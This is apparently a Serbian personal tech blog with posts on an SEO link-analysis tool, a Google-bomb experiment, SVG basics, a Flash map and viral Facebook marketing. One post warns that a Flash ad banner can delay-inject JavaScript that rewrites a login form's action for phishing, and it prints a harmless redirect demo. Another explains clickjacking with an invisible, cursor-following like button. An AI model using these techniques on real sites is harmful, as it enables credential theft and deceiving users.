Predstavljam vam – SEO Link analysis Tool

Nedavno sam počeo da razvijam svoj SEO tool. Ako se bavite optimizacijom za pretraživače sigurno ste se nekada zapitali da li i koliko vredi postavljati link na neku stranicu. Ova alatka treba da da odgovor upravo na to pitanje.

Ideja je da se napravi alatka koja će biti od pomoći prilikom izgradnje linkova ali i prilikom analiziranja konkurencije i konkurentnih linkova na stranicama. Alatka bi u nekoj budućoj verziji mogla i da da odgovor na pitanje “koliko još i kakvih linkova je potrebno da bi neka naša stranica prestigla konkurentsku na SERP-u”.

U konačnu formulu ocenjivanja vrednosti neke stanice za određeni upit na Google-u će biti uključena dva dela:
1) Onpage deo – odnosi se na samu stranicu i način na koji je ona organizovana i koliko i kako su raspoređene ključne reči fraze za koju se pozicija (vrednost stranice) računa
2) Offpage deo – odnosi se na sve one linkove koji pokazuju na datu stranicu, računajući relevantnost i vrednost tih linkova kada se gleda fraza za koju se pozicija (vrednost stranice) računa

U ovoj početnoj verziji odrađen je samo deo vezan za offpage i to računanje vrednosti svih linkova na jednoj strani. U prvoj sledećoj verziji bi trebalo da dodam mogućnost da se računaju sve vrenosti linkova ka nekoj strani, jer, to je ono što bi u potpunosti zadovoljilo ranije pomenuti offpage deo ove alatke.

No, dok ne završim tu drugu verziju da vam predstavim ovu prvu i kako sve funkcioniše.

Korisnik u veliko (i jedino) polje unosi URL stranice nekog sajta za koju želi da dobije analizu linkova. Klikom na “GO” ispisuju se neki osnovni podaci o stranici, čija analiza nas interesuje, kao što su pagerank stranice, starost domena, title i description, broj svih dofollow linkova, broj eksternih linkova i procenat eksternih linkova. Nakon toga se ispisuje tabela sa linkovima u redosledu u kojem se pojavljuju na stranici.

U računanje konačne vrednosti nekog linka na stranici ulaze sledeći elementi:
- PageRank stranice na kojoj se link nalazi – ovo je jedan od najvažnijih parametara i ima veliki uticaj na konačnu ocenu vrednosti linka
- Starost domena – takođe jedan od važnijih parametara. Linkovi na starijim sajtovima imaju veću vrednost od onih na mlađim
- Broj svih linkova na stranici – što manji broj linkova to veća vrednst linka na stranici
- Broj eksternih dofollow linkova – logično, manje izlaznih linkova veća je vrednost postavljenog linka
- TeM (Surround Text Matching) – ovaj parametar predstavlja poklapanje linka sa tekstom koji ga okružuje. Ukoliko neki link okružuje tekst u kome se nalazi dosta reči koje se nalaze i u linku, vrednost tog linka je veća nego ako link okružuje tekst koji nema ključne reči iz linka ili ako link ne okružuje nikakav tekst.
- TiM (Title Matching) – poklapanje ključnih reči u linku sa Title-om stranice
- DeM (Description Matching) - poklapanje ključnih reči u linku sa Description-om stranice
- Pos - ovaj parametar predstavlja poziciju linka na stranici. Nema neki veliki uticaj na računanje vrednosti linka

Pošto SEO i dalje liči na crnu kutiju i niko sa sigurnošću ne zna kako neke stvari funkcionišu (uglavnom se sve zasniva na ličnim iskustvima) u narednoj verziji alatke ću ostaviti mogućnost da se neki elementi isključe. Na taj način bi svako mogao da prilagodi aplikaciju svojim potrebama i na način na koji misli da SEO funkcionoše. Iskreno, ja sam ubacio parametre više koko bi trebalo SEO da funkcioniše i kako bi trebalo da se računa vrednost linka a manje kako mislim da zaista funkcioniše. Tako da, u sledećoj verziji će svako moći da uključuje i isključuje elemente u formulu na osnovu svog mišljenja o važnosti istih.

Želeo bih ovom prilikom da pozovem svakoga ko se bavi optimizacijom za pretraživače da da neko svoje mišljenje. Koje parametre treba uključiti? Koji su suvišni ili manje bitni? Testirajte aplikaciju i ostavite komentar vašeg viđenja ove prve verzije.

Link: SEO Link analysis Tool

Šta može da se desi ako ne proveravate flash banere?

Imate dobro posećen sajt i ponudu za oglašavanje. Jednog dana dobijete flash baner da postavite na sajt. Uz to dobijete pare za narednih mesec dana prikazivanja banera. Milina. Super. Recimo, primer banera:

Baner ko baner. Jeste ružan ali eto, primili ste pare, izdržaćete mesec dana. Šta se dalje dešava?

Scenario #1

Baner se vrti na vašem sajtu 20 dana i za to vreme sajt savršeno radi. Međutim, 21. dana žale vam se korisnici da nešto ne radi kako treba. Odjednom iskače neka kosturska glava i neki crn ekran. Vi, šta ćete, prvo uzmete da proveravate svoje skripte. Sve vam se čini OK. Kasnije krenete da testirate ceo sajt na viruse. Sve je u redu. Na kraju ne znate šta da radite pa imajući u vidu da je juče radilo a danas ne, setite se da imate na svom računaru neku verziju sajta pre 5 dana. Odlično. Svučete ovaj sajt, uploadujete stariju verziju, prođe ceo dan i ono i dalje isto! Tu već pucate od muke, ne znate šta je u pitanju. Međutim, sutradan sajt radi, hvala Bogu. Ali opet, nije vam svejedno jer niste otklonili grešku, sama je nestala. Prođe još dva dana i isti problem se opet javi. Tu već krenete da šizite. Najgora stvar je što vam se svi živi žale da ne radi, uzeli ste pare za prikazivanje 10 banera a baneri se ne prikazuju zato što sajt ne radi. Itd itd…

Ni na kraj pameti vam ne padne da proverite da li neki baner pravi problem. A zašto bi vam to palo na pamet kad je sajt savršeno radio kada ste banere dodavali? Pa ne mora da znači…

Iz Flash-a sasvim normalno može da se pozove i izvrši Javascript kod. Imajući to u vidu jasno vam je da može svašta da se uradi. Recimo, kao u našoj priči, možete u Actionscriptu u Flash-u da kažete da se neki javascript kod izvršava samo ako je dan u mesecu veći od 20. To je upravo ovaj primer iz naše priče. Javacript kod je “čučao” u baneru u nekom frame-u 20 dana i onda se aktivirao. Naravno, ideja za javascript kod ima raznih. Recimo, zamislite da sam stavio nevidljivo facebook like dugme i kada korisnik klikne bilo gde lajkuje neku stranicu na facebook-u. Ili recimo zmislite da se sajt bavi politikom i da javascript kod prolazi kroz ceo tekst i menja reči “Boris Tadić” u “Boris Tadić (maneken)”. To bi bilo interesantno videti : ). Ono što treba napomenuti jeste da je javascript tehnologija klijentske strane i da se izvršava u browser-u. Dakle, sve je u redu sa sajtom “samo” se on drugačije prikazuje u browserima posetilaca.

Scenario #2

Ukoliko ste mislili da je prvi scenario jako gadan, drugi je još gori. Baner se prikazuje 20 dana i sajt lepo funkcioniše. Dvadeset prvog dana kao i narednih dana isto nema nikakvih promena. Završi se prikazivanje banera, sve super. Ništa se nije desilo. Prođe neko vreme, međutim, korisnici počnu da se žale kako ne mogu da se uloguju na sajt. Šta se desilo? Na stranici gde se prijazuje sporni baner postoji forma za login. U baneru se nalazi javascript kod koji je tu formu malo promenio. Recimo da je promenio “action” atribut i umesto da su podaci poslati drugoj stranici za prijavljivanje korisnika oni su poslati ko zna gde. Naravno, sve to može lepo da se maskira i da korisnik ne primeti da je otišao na drugi sajt. Ili jednostavno da se prilikom submitovanja forme baci na sporni sajt gde će se prikupiti svi podaci i koji će istog trenutka korisnika vratiti na originalni. Cela ta prevara je poznata oblast pod nazivom fišing.

Čisto za demonstraciju drugog scenarija dodao sam na ovoj stranici jednu običnu formu koja kada se submit-uje ide na istu ovu stranicu. Međutim, u okviru banera se nalazi javacript kod koji modifikuje ovu formu tako što podatke ne šalje na ovu stranicu nego na recimo google.com, čisto demontracije radi.

HTML forma izgleda ovako:

<form name="forma" action="" method="get">
<input type="text" name="ime">
<input type="submit" value="Submit">
</form>

Actionscript u nekom frejmu izgleda ovako:

stop();
getURL("javascript:forma.action ='http://www.google.com';window.location('#');");

Viralne Facebook stranice – kako funkcionišu?

Kada kažem viralne facebook stranice onda mislim na stranice koje za veoma kratko vreme skupe veliki broj fanova. To su vam one stranice čiji naziv obično počinje sa: “Devojka se ubila kada je videla…”. Ono što ovakvim stranicama daje na viralnom potencijalu jeste ljudska znatiželja u prvom trenutku i ljudska lenjost-neznanje-naivnost u drugom. Svako od nas bi izdvojio par sekundi da sazna zašto se devojka ubila, zar ne? Mali broj nas je svesno zašto takva stranica zaista postoji. Međutim, pomenuo bih i drugi tip viralnih stranica koje se baziraju na trenutnom stanju nacije ili na aktuelnom događaju koji je baš odjeknuo. Uglavnom mislim na sportske događaje i stranice kao što su “Pomozimo Omeru Asiku da nađe oko” ili “Naši ćelavi šampioni” (stranica koja je trenutno aktuelna).

Kako sve to funkcioniše?

Ono što nam je Facebook doneo jeste okruženje za jako brzo širenje viralnih informacija (u bilo kom obliku). U trenutku kada vi kliknete na “like” svih 500 vaših prijatelja (ili koliko već imate) će videti koju stranicu ste vi “lajkovali”. Naravno, neće svih 500 ali onih 50 koji su online u tom ili narednom trenutku svakako hoće. Zamislite da se svakom petom vašem prijatelju sviđa ono što ste vi lajkovali (ili želi da vidi šta ste vi lajkovali) i isto to uradi. Ono što je važno zapaziti kod prvog tipa viralnih stranica koje sam pomenuo jeste da od korisnika zahtevaju da lajkuju stranicu kako bi videli sadržaj. Taj sistem osigurava stalni priliv novih fanova. Ako korisnike koji su lajkovali stranicu krenemo da ređamo od vrha ka dnu možemo uočiti piramidu i zaključiti da broj fanova eksponencijalno raste. To je upravo odlika virala.

Seeding

Verovatno ste se zapitali na koji način ovakve stranice za kratko vreme sakupe preko 100.000 fanova. Ako mislite da je sve počelo tako što je Pera kreirao stranicu i pozvao sve svoje drugare a oni svoje itd varate se. Taj efekat grudve koja pokreće lavinu je jednostavno teško izvesti jer je u tom slučaju potrebna velika viralna moć, što obično nije slučaj. Složićete se, potrebno je pustiti više grudvi na vrhu planine kako bi se one negde dole spojile i izazvale bum.

U viralnom marketingu postoji nešto što se zove seeding ili sejanje. To nije ništa drugo nego puštanje više grudvi na vrhu planine. Na taj način se postiže veća eksplozivnost viralne kampanje (u ovom slučaju viralnih stranica) jer obezbeđuje veću polaznu osnovu na vrhu piramide.

Postoji više načina da se obezbedi početni veliki broj lajkova. Ovde ću opisati samo jedan koji je meni najinteresantniji…

Nevidljivo Facebook LIKE dugme

U trenutku kada je Facebook u okviru “Facebook social plugins” ponudio korisnicima da na jednostavan način kreiraju “like” dugme za svoj sajt i za bilo koju stranicu svog sajta počeli su masovno da se pojavljuju tzv “like sajtovi” koji korisnicima nude da sami na brzinu kreiraju stranicu koju će lajkovati. Facebook nudi korisnicima mogućnost da u par klikova kreiraju kod koji će postaviti na svoj sajt. U pitanju je iframe sa like dugmetom, ništa specijalno.

Ono što je interesentano jeste da vi možete posetiocima na svom sajtu na kvarno da podmetnete like dugme i to tako da ono bude nevidljivo (opacity = .0) i da se uvek postavlja ispod kursora. Korisnici tako jednim klikom miša lajkuju vašu stranicu bez njihovog znanja! Vrlo često to prođe neprimećeno od strane korisnika, sam post koji govori da je korisnik lajkovao određenu stranicu se pojavljuje u NewsFeed-u njegovih prijatelja što otvara mogućnost daljeg lajkovanja ukoliko je naziv stranice bombastičan i dovoljno interesantan.

Kliknite ovde da vidite kako funkcioniše skriveno like dugme

Naravno, za demonstraciju sam postavio da dugme bude malo vidljivo da vidite o čemu se radi. Klikom na dugme lajkovaćete stranicu ovog bloga na Facebooku što i nije strašno (p.s. preporučio bih vam da ne skidate like ) ali šta da je dugme stvarno bilo nevidljivo i da sam stavio da se like-uje stranica “Devojka se ubila kada je videla svog muža! Pogledajte slike!”. Dok vi odete na Facebook i provalite da ste lajkovali nešto što niste želeli možda je već 10 vaših prijatelja isto lajkovalo da bi saznalo zašto se devojka ubila.

Kompletan kod za testiranje možete pregledati i preuzeti ovde. Naravno, ovaj primer nije baš najsjajniji i ima neke nedostatke.

Šta uraditi sa ovakvim stranicama?

Skoro ništa. Možete da se hvalite kako imate stranicu sa mnogo fanova ili ako vam se posreći da naletite na idiota koji če vam napisati nešto kao:

Zašto idiot? Pa zato što takve stranice nemaju neku marketinšku vrednost. Zamislite da reklamirate neki ozbiljan proizvod preko stranice “Devojka se ubila kada je videla svog muža! Pogledajte slike!” ili da na bilo koji način dovodite neki ozbiljan brend u vezi sa tom stranicom.

U sledećem postu ću zagrebati malo po FBML-u i ukoliko ne znate, da vidite kako se korisnici prisiljavaju da kliknu na “like” pre nego što im se prikaže željeni sadržaj. Ako neko ne zna, ovde može videti kako se pravi facebook landing page.

News Feed Optimization – da li obraćati pažnju na to?

Facebook je odavno prestao da bude mesto gde ćemo komunicirati samo sa ljudima koje poznajemo. Sve više ljudi/kompanija vidi Facebook kao društvenu mrežu na kojoj će predstaviti brend, kompaniju, proizvod, uslugu itd ali ne samo to, već i aktivno učestvovati u komunikaciji sa korisnicima. A kako i ne kad mreža broji 500 miliona korisnika na globalnom nivou i 2 miliona u Srbiji. Opet, dosta je i onih koji su osetili moć ove društvene mreže ali nisu mogli na adekvatan način da je iskoriste.

Priča o poziciji Community menadžera kod nas se zahuktava. I kako to obično biva, kad padne kiša, pečurke “stručnjaka” niču. Nekako mi se čini da je u Srbiji posebno plodno tlo za takve pečurke. Ja nisam stručnjak (skromnost++) a još manje Community menadžer ali me je interesovanje navelo na tu priču.

Interesantna je priča odnosa kupaca/potrošača sa kompanijama na Facebook-u kao i pitanje u kojoj meri učestvuju u komunikaciji na njihovim fan stranama. Da bi do interakcije uopšte moglo da dođe, pre svega se postavlja pitanje koliko će ljudi uopšte videti ono što kompanija piše na svojoj stranici.

U aprilu ove godine Facebook je predstavio formulu po kojoj određuje koji će se postovi naći u Top News Feedu a koji neće. U pitanju je formula koju su nazvali News Feed Optimization. Međutim, iako se zna koji elementi učestvuju u formuli ostaje nejasno na koji način se oni sami računaju.

Ako probate sa “Top news” da pređete na kratko na “Most recent” pa ponovo na “Top news” možete primetiti da su u tom kratkom trenutku dodata još 2-3 posta i tako svaki put kad pređete sa jednog na drugi prikaz. Međutim, može se videti da je redosled u tom slučaju manje-više isti, samo se dodaju novi postovi. To opet znači da formula zaista postoji ali bih rekao da ta formula govori samo da li će post ući u “Top news” ali ne postavlja post sa najvećom vrednošću na prvo mesto već ima određen redosled postova koje samo pomera na dole poput dodavanja na stack.

Uz to ako se doda da ponekad uleti i post osobe za koju smo tek u tom trenutku saznali da uopšte postoji, News Feed Optimization gubi na značaju. Nedavno sam pokrenuo anketu vezanu za Facebook koja je dala neke zanimljive rezultate. Recimo, preko polovina ispitanika je reklo da kada se uloguje odmah prebaci na “Most recent” prikaz. To uglavnom rade oni koji često posećuju Facebook i koji prilikom te posete žele da pogledaju sve postove od poslednje posete. Naravno, ljudi koji manje od 2 puta posete Facebook u toku dana kao i oni koji imaju jako puno prijatelja više se zadržavaju na “Top news”. Tu se sad javlja i pitanje poverenja. Veliki broj ljudi ne veruje da će fb izdvojiti postove (statuse) koji baš njih interesuju pa se često odlučuju na “Most recent” prikaz.

Imajući sve ovo u vidu, postavlja se pitanje da li uopšte treba obraćati pažnju na News Feed Optimization. Kada je obajvljena formula na osnovu koje se određuje koji će postovi ući u Top News odmah se napravila paralela sa SEO (Search Engine Optimization). Međutim, za SEO postoje određene tehnike dok za NFO samo znamo da postoji formula za koju opet ne znamo u potpunosti kako funkcioniše. Uz to, čak i da znamo tačnu formulu opet nemamo tehnike za poboljšanje vidljivosti naših postova. Neko će reći, pa kako nema, piši korisne i zanimljive statuse da bi povećao interakciju. Pa to ćete svakako raditi čak i ako ne znate kako postovi dospevaju u nečiji Top news prikaz. Dakle, imamo još jedan ultra-mega-kul naziv za nešto čime će se neznalicama mazati oči i uzimati još koji dinar, zar ne?

Najveći car nije Zoran Đinđić – SEO eksperiment

Pre više od mesec dana Istok Pavlović je pokrenuo akciju u kojoj je učešće uzelo veliki broj blogera. Ideja akcije je bila da se napravi Google bomb efekat koji će dovesti do toga da sajt Zorana Đinđića bude prvi rezultat na Guglu kada neko kuca “najveći car”. Ne zna se tačno koliko blogera je na svom sajtu napisalo članak i ostavilo link ka pomenutom sajtu ali pre same akcije fraza “najveci car” je na Google-u izbacivala nešto preko 396.000 rezultata dok danas prikazuje 405.000 što pkazuje da je interesovanje za celu akciju bilo sasvim solidno.

Pošto nisam u to vreme imao blog nisam mogao da podržim akciju. Da sam imao blog opet je ne bih podržao jer mi se ne sviđa politička pozadina iste.

Bez obzira na to, svidela mi se ideja iz ugla SEO optimizacije i sve sam to posmatrao kao jedan eksperiment. Postavilo se pitanje da li onpage optimizacija zaista nema toliko uticaja i da li je skoro sve u Link Building-u. Ubrzo nakon pokretanja akcije uzimam besplatan domen najvecicar.co.cc i postavljam dva linka sa anchor tekstom “najveci car”. Stranice na kojima su bili linkovi imaju PageRank 3. Dakle, nije mi bila namera da miniram celu akciju i da sajt najvecicar.co.cc pozicioniram na prvo mesto za traženu ključnu reč. Poenta je bila da u ceo eksperiment uključim i uticaj poklapanja ključnih reči sa nazivom domena kao i uticaj pojavljivanja ključnih reči na stranici.

Posle nekoliko dana Google bomba je uspela, sajt Zorana se našao na prvom mestu. Odmah ispod njega su se našli blogovi koji su učestvovali u akciji pa tek na drugoj stranici pretrage moj eksperimentalni sajt. Naravno, posle nekoliko dana najvecicar.co.cc je isplivao na 3. poziciju. To se može objasniti činjenicom da su postovi koji su nakon objavljivanja bili na početnim stranicama blogova sada spali na ko zna koju dubinu usled objavljivanja novih.

Dakle, jedan novi domen koji u sebi ima ključne reči tražene fraze na koji pokazuju dva linka je došao do treće pozicije i uz još par linkova može doći i do prve.

Šta se može zaključiti iz eksperimenta? Može se zaključiti sledeće:

• Google bomb je i dalje moguće izvesti
• Exact Match Domain i dalje igra veliku ulogu
• OnPage optimizacija jeste bitna ali tek kada na stranicu “uđe” značajan deo PageRank-a
• Starost domena isto ima veliku ulogu
• Zoran Đinđić neće još dugo biti najveći car

Uvod u SVG

SVG je skraćenica od Scalable Vector Graphics i predstavlja XML jezik za prikaz vektorske grafike. Ono što je zanimljivo jeste da se SVG grafički elementi potpuno normalno prikazuje u browserima. Svaki element je moguće animirati tako da se mogu dobiti jako zanimljive animacije i, što je najbitnije, grafički elementi ne gube na kvalitetu prilikom promene dimenzija. To je i logično imajući u vidu da se radi o vektorskoj grafici.

Pošto planiram da napišem kompletni tutorijal za SVG neću mnogo objašnjavati ovom prilikom. Poenta mi je samo da vam pokažem osnovne grafičke elemente kreirane pomoću SVG-a.

U SVG-u postoji nekoliko grafičkih elemenata koji se mogu kombinovati:

• Rectangle
• Circle
• Ellipse
• Line
• Polygon
• Polyline
• Path

Sledi primer koji pikazuje par navedenih elemenata:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" 
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 
<svg width="100%" height="100%" version="1.1"
xmlns="http://www.w3.org/2000/svg">
 
<rect x="20" y="20" width="250" height="250"
style="fill:blue;stroke:silver;stroke-width:5;"/>
 
<circle cx="100" cy="250" r="40" stroke="black"
stroke-width="2" fill="#ff9900" style="fill-opacity:0.8;"/>
 
<line x1="0" y1="0" x2="300" y2="300"
style="stroke:rgb(99,99,99);stroke-width:2"/>
 
<polygon points="220,100 300,210 170,250"
style="fill:#cccccc;
stroke:#000000;stroke-width:1"/>
 
</svg>

Test

Prvo smo postavili pravougaonik navođenjem X i Y koordinata od gornjeg levog ugla SVG površine. Zatim smo mu odredili širinu i visinu i primenili stil (zadali da površina bude plave boje, ivice sive i da debljina ivica bude 5px).

Sledeći element predstavlja krug. Njemu smo zadali isto X i Y koordinate od gornjeg levog ugla SVG površine, definisali da kružnica bude crne boje, debljine 2px i da površina kruga bude narandžasta. Takođe smo zadali stil tako što smo podesili providnost.

Sledeći element je linija. Njoj smo zadali da počinje od gornjeg levog ugla (x1=”0″ y1=”0″) i da se dijagonalno spušta naniže i u desno. Takođe, rekli smo da bude sive boje debljine 2px.

Poslednji element koji smo dodali je poligon. Ovaj element u atributu “points” prima tačke (parovi X,Y vrednosti odvojeni razmacima) koje kada se spoje predstavljaju neku površinu.

Flash mapa Srbije

Ovih dana sam krenuo sa kolegom da radim na jednom projektu. Da ne otkrivam sada skroz šta je u pitanju ali, između ostalog, potrebno je napraviti mapu Srbije u Flash-u kojoj je će se proslediti neke inforamacije. Te informacije koje se proslede će uticati na izgled i predstavljanje same mape kao animacije. Isto tako, potrebno je omogućiti i povratne informacije iz Flash animacije. Sve to se može odraditi integracijom Flash-a i JavaScripta-a o čemu ću nekom drugom prilikom.

U ovom primeru je rađen samo Flash deo. Korišćen je Actionscript 2.0. Cela mapa se sastoji od okruga koji su movieclip-ovi i koji u sebi sadrže promenljivu koja predstavlja naziv okruga. Na svakom okrugu je prikačen događaj onRollOver i onRollOut koji podešavaju traku na kojoj se ispisuje naziv okruga.

Mapu možete preuzeti ovde ili pogledati kako izgleda.

DownloadDemo

Viralni marketing – propuštamo li priliku za zaradu?

Termin Viralni marketing je poznat kao marketinška metoda kojom se reklama strahovito brzo širi od osobe do osobe. Ono što jednu takvu kampanju čini uspešnom jeste ideja ili informacija (u bilo kom obliku) koja je pogodna za širenje, tj ideja koju široka masa ljudi želi da podeli sa što više poznanika i prijatelja. Na prvi pogled, poruke koje se viralno prenose nemaju epitet reklame iz ugla ljudi koji poruku prenose. Međutim, dovoljno je da se pokrene priča, da veliki broj ljudi vidi da se nešto dešava i da dalji koraci koje svaka uključena osoba preduzima budu neposredno u interesu kompanije koja je pokrenula viralnu kampanju.

U ovom tekstu mi nije poenta da pišem o viralnom marketingu i kako se on sprovodi u delo (to ostavljam za neki drugi put) već da skrenem pažnju na propuštene prilike za zaradu. Naime, ovih dana je svako (ali svako) mogao da primeti kako njegovi prijatelji na Facebook-u menjaju slike na profilu u crtane junake koji im se najviše sviđaju. I tu nije kraj, o tome se priča i priča… Neko je okačio na fb jednu epizodu “Snorkijevaca” što je u meni pobudilo jako lepe emocije i morao sam da “lajkujem”, i ne samo lajkujem, već i da potražim neke druge epizode da bih se prisetio tih lepih trenutaka detinjstva. Posle toga ide standardna priča “A nemoj da pričaš da si i ti gledao Snorkijevce??” i dalje već svi znate kako i koliko se o tome priča.

Dakle, cela akcija je skroz bezazlena. Meni se ništa loše neće desiti ako promenim na par dana sliku na profilu, a i vidim da to svi rade. Hajde i ja da pokažem svima koji je crtani junak meni omiljen. I sad kad pogledam, moja početna stranica na facebook-u je stvarno šarena likovima iz crtaća i to je simpatično meni ali i drugima:

Moje pitanje je da li je neko pre nego što je počela ova akcija bio svestan koristi koju je mogao da ima od iste? Očigledno je da će ova akcija povećati posećenost najvećih sajtova koji se bave crtanim filmovima kod nas.

Koliko mogu videti, ovu akciju su prepoznali jedino crtaci.info ali, kako oni navode, nisu sigurni ko je igru pokrenuo. Tu sad mogu biti dve stvari. Prva, da oni zaista nisu pokrenuli tu igru preko facebook-a nego da eto samo pišu vest o tome. Druga, da su oni pokrenuli tu igru ali da ne žele to da kažu. Ukoliko je ipak u pitanju ovo drugo onda baš i nisu uradili pravu stvar pošto ni na koji način ne navode učesnike ove akcije na njihov sajt. Od ovoga će najveće koristi imati sajtovi koji su dobro pozicionirani na Google-u kao i oni sajtovi koji zaista nude veliku kolekciju crtaća jer će na taj način dobiti možda i stalne posetioce.

Ukoliko je akciju pokrenuo pojedinac koji ne zna šta je viralni marketing već je akciju pokrenuo radi zabave recite mu da je upravo propustio priliku da kupi novi računar : )

Danas kada postajem bloger…

Pre nego što bilo ko krene u razmišljanje zašto otvaram blog i zašto baš u ovom trenutku samo da napomenem da o ovoj ideji razmišljam već godinu dana!

Ono što već na početku možete primetiti jeste da će ovo biti više neki tehnički blog sa primerima i tutorijalima a manje neke moje misli i mudrovanje nad kojima je pozvana toString metoda. Naravno, biće i toga ali na prvom mestu primeri i tutorijali.

U delu “tutorijali” će uskoro biti neki kompletni tutorijali na srpskom jeziku koje sam napisao. Još uvek sređujem tu stranicu kao i stranice “portfolio” i “demo primeri”.

Ovom prilikom se zahvaljujem Milanu Stojanovu na ustupljenom parčetu zemljišta pored internet autoputa. Takođe, zahvaljujem se i Nemanji Manjenčiću na fino odrađenoj karikaturi. Ostale njegove radove možete videti na njegovom deviant art profilu.